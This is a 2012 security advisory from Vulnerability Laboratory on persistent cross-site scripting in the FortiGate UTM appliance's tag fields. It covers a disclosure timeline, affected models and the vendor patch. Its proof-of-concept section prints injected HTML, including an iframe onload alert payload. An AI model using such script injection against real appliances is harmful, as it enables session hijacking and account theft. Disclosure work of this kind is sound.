Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])VULNERABLE:557
Document Title:
===============
Fortigate UTM WAF Appliance - Multiple Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=557
Release Date:
=============
2012-08-29
Vulnerability Laboratory ID (VL-ID):
====================================
557
Common Vulnerability Scoring System:
====================================
7.5
Product & Service Introduction:
===============================
The FortiGate series of multi-threat security systems detect and eliminate the most damaging, content-based threats from email
and Web traffic such as viruses, worms, intrusions, inappropriate Web content and more in real time - without degrading
network performance.
Ranging from the FortiGate-30 series for small offices to the FortiGate-5000 series for large enterprises, service providers and
carriers, the FortiGate line combines the FortiOSβ’ security operating system with FortiASIC processors and other hardware to provide
a comprehensive and high-performance array of security and networking functions including:
* Firewall, VPN, and Traffic Shaping
* Intrusion Prevention System (IPS)
* Antivirus/Antispyware/Antimalware
* Web Filtering
* Antispam
* Application Control (e.g., IM and P2P)
* VoIP Support (H.323. and SCCP)
* Layer 2/3 routing
* Multiple WAN interface options
FortiGate appliances provide cost-effective, comprehensive protection against network, content, and application-level threats - including
complex attacks favored by cybercriminals - without degrading network availability and uptime. FortiGate platforms incorporate sophisticated
networking features, such as high availability (active/active, active/passive) for maximum network uptime, and virtual domain (VDOM)
capabilities to separate various networks requiring different security policies.
Fortigate applainces are Pentagon & US Military certified.
The military provides high security standards & save outdoor camps, air base, offices with fortigate hardware.
(Copy from the Vendor Homepage: http://www.fortinet.com/products/fortigate )
Abstract Advisory Information:
==============================
Vulnerability-Lab Research Team discovered multiple persistent Web Vulnerabilities in the FortiGate UTM Appliance Application.
Vulnerability Disclosure Timeline:
==================================
2012-05-06: Researcher Notification & Coordination
2012-05-10: Vendor Notification
2012-06-11: Vendor Response/Feedback
2012-08-25: Vendor Fix/Patch ( Fixed in FortiOS v4.3.8 B0537 & Fixed in FortiOS v5.0 )
2012-08-28: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Fortinet
Product: UTM Appliance Application FortiGate-5000 Series;FortiGate-3950 Series;FortiGate-3810A;
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
Multiple input validation vulnerabilities(persistent) are detected in the FortiGate UTM Appliance Application. Remote attacker
& low privileged user accounts can include (persistent) malicious script code to manipulate specific customer/admin requests.
The vulnerability allows an local low privileged attacker to manipulate the appliance(application) via persistent script code
inject. It is also possible to hijack customer sessions via persistent script code execution on application-side. Successful
exploitation can also result in content/module request manipulation, execution of persistent malicious script code, session
hijacking, account steal & phishing.
Vulnerable Module(s): (Persistent)
[+] Tags - Applied tags
[+] Add - Tags Display
Picture(s):
../1.png
../2.png
Interface - UTM WAF Web Application [Appliance]
FortiGate-5000 Series;FortiGate-3950 Series;FortiGate-3810A;FortiGate-3600A;FortiGate-3016B;FortiGate-1240B
FortiGate-800;FortiGate-620B;FortiGate-311B;FortiGate-310B;FortiGate-300A;FortiGate-224B;FortiGate-200B Series
Proof of Concept (PoC):
=======================
The persistent vulnerabilities can be exploited by remote attackers with low required user inter action or low
privileged user account. For demonstration or reproduce ...
Code Review: Tags - Applied tags [Box] > Listing
URL: http://appliance.127.0.0.1:1337/firewall/policy/policy6?expanded=#
name=``addr_dlg`` action=``/firewall/address/add`` onsubmit=``if (!fwad_form_check('Please choose one address/group.',
'Please choose one interface to connect.')) return false; if (document.forms[0].submitFlag) return false; document.forms[0].
submitFlag = true;``>
<table><tbody><tr>
<td align=``left`` width=``150``><nobr>Address Name</nobr></td>
<td align=``left``><input
name=``name`` size=``64`` maxlength=``63`` value=``all`` type=``text``>
</td>
</tr>
<tr>
<td>Color</td>
<td><span colorclassprefix=``addr_ipv6_
`` class=``icon_fw addr_ipv6_13`` id=``addressIcon``></span> <a href=``#`` id=``addressColor`` cscolorvalue=``0``>[Change]<input value=``13``
name=``csColor1`` type=``hidden``></a></td></tr>
<tr id=``row_ipv6``>
<td align=``left`` width=``150``><nobr>IPv6 Address</nobr></td>
<td
align=``left``><input name=``ip6`` size=``50`` maxlength=``43`` value=``::/0`` onfocus=``this.select()``></td>
</tr>
<tr class=``object_tag_row``>
<td colspan=``2``>Tags</td></tr>
<tr class=``object_tag_row``>
<td class=``dep_opt``>​​​​​<label for=``appliedTags``>Applied tags</label></td>
<td><span class=``tag_list`` id=``appliedTags``><span class=``object_tag object_tag_remove``
mkey=````><[EXECUTION OF PERSISTENT CODE!]'<``=````><span class=``tag_label``>
``><[EXECUTION OF PERSISTENT CODE!] <</span><span class=``tag_tail``></span><
/span></iframe></span></span></td>
</tr>
<tr class=``object_tag_row``>
<td class=``dep_opt``><label for=``addTag``>Add tags</label>
</td>
<td><input class=``ac_input`` autocomplete=``off`` name=``addTag`` id=``addTag`` type=``text``><img src=``/images/act_add.gif``
class=``tagSelector-addTag``></td>
</tr>
</tbody></table><input name=``mkey`` id=``mkey`` value=``all`` type=``hidden``>
<input name=``tagList``
id=``tagList`` value=``"><[EXECUTION OF PERSISTENT CODE!]<`` type=``hidden``>
<input name=``is_ipv6`` id=``is_ipv6`` value=``1``
type=``hidden``>
<input name=``redir`` value=``/success`` type=``hidden``>
<div class=``footer``><input class=``button`` value=``Return``
onclick=``if (window.opener) {window.close(); } else if (parent && parent.wij_in_modal_op && parent.wij_in_modal_op())
{ parent.wij_end_modal_dialog(); } else {document.location='/success'}`` type=``button``>
</div>​​​​​</form>
... or
<td><span class="tag_list" id="appliedTags"><span class="object_tag object_tag_remove"
mkey=""><[EXECUTION OF PERSISTENT CODE!]' <"=""><span class="tag_label">"><iframe src=a
onload=alert("VL") <</span><span class="tag_tail"></span></span></iframe></span>
<span class="object_tag object_tag_remove" mkey="corp"><span class="tag_label">corp</span>
<span class="tag_tail"></span></span></span></td>
Reference(s):
../tags-apply1.txt
../tags-apply2.txt
Solution - Fix & Patch:
=======================
To fix the persistent vulnerabilities by parsing the object tag add input fields & output listings in all sections.
Restrict the input field and disallow tag chars or statements requests.
* Fixed in FortiOS v4.3.8 B0537
* Fixed in FortiOS v5.0
Security Risk:
==============
The security risk of the persistent input validation vulnerabilities are estimated as high (-).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] - [email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright Β© 2012 | Vulnerability Laboratory